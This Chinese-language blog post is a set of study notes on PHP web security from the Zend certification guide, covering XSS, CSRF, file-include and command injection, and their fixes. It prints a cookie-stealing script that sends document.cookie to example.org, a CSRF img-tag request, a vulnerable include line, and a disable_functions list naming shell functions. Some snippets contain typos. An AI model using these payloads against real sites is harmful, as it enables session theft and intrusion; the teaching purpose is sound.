星期三, 10月 27, 2010

Zend PHP 5 Certification Study Guide 筆記 (四) Security

  • Concepts and Practices
    注意以下事件
    • All Input Is Tainted
      謹慎想像每個Input都被污染(Tainted),所以都要檢查
    • Whitelist vs. Blacklist Filtering
    • Filter Input
    • Escape Output
    • Register Globals
  • Website Security
    • Spoofed Forms
    • Cross-Site Scripting (XSS) 在送出的input中,直接加入script,攻擊者即可透過$_GET['cookies']得到cookie的內容
      <script>
        document.location = ''http://example.org/getcookies.php?cookies=''
        + document.cookie;
      </script>
    • Cross-Site Request Forgeries (CSRF)
      說明:在使用者登入的情況下,假造一個link夾帶get的指令(通常用img裡夾),
      ex: <img src="http://example.org/checkout.php?isbn=031234&qty=1" >
      讓使用者點選進而執行get的指令(例如修改資料等),因為是在使用者登入的情況下,所以指令會執行成功
      解決方法:get問題,雖可用post解決,但當server端利用$_REQUEST,則會遇到相同問題
      雖post仍算是減少傷害,但仍不能完全避免,要完全避免可利用random token
      在產生form時,在session記錄個token,另一方面在form埋個hidden存token
      如此一來即可比對
      <?php
        session_start();
        $token = md5(uniqid(rand(), TRUE));
        $_SESSION['token'] = $token;
      ?>
      
      //產生form
      <form action="checkout.php" method="POST">
        <input type="hidden" name="token" value="<?php echo  $token;?>" /?>
        <!-- Remainder of form -->
      </form>
      
      //request
      if (isset($_SESSION['token'])
        && isset($_POST[』token』])
        && $_POST['token'] == $_SESSION['token'])
      {
        // Token is valid, continue processing form data
      }
  • Database Security
  • Filesystem Security
    • Remote Code Injection
      說明:當php裡利用以下方法include檔案時,攻擊者只要改變section值即可插入攻擊碼
      include "{$_GET['section']}/data.inc.php";
      解決方法:限制可選的路徑
      $clean = array();
      $sections = array('home', 'news',  'photos', 'blog');
      if (in_array($_GET['section'], $sections))
           $clean['section'] = $_GET['section'];
      else
           $clean['section'] = 'home';
      
      include "{clean['section']}/data.inc.php";
    • Command Injection
      說明:由於php可以動態載入檔案,又提供exec(), system() and passthru()等,可以執行系統執令的強大函式,所以一但被攻擊,這下問題就大條了
      解決方法:適當的filtering及escaping要做好囉
  • Shared Hosting
    針對以下幾個設定限制,可以事先避開Filesystem Security,command injection的問題
    • open_basedir
      <virtualhost *>
        DocumentRoot /home/user/www
        ServerName www.example.org
        <Drectory home/user/www>
          php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/" //限制資料夾
        </Directory>
      </virtualhost>
    • disable_functions (php.ini)
      ;Disable functions
      disable_functions = exec,passthru,shell_exec,system
    • and disable_classes (php.ini)
      ;Disable classes
      disable_classes = DirectoryIterator,Directory
    透過php.ini的設定
Reference PHP Security Guide

沒有留言: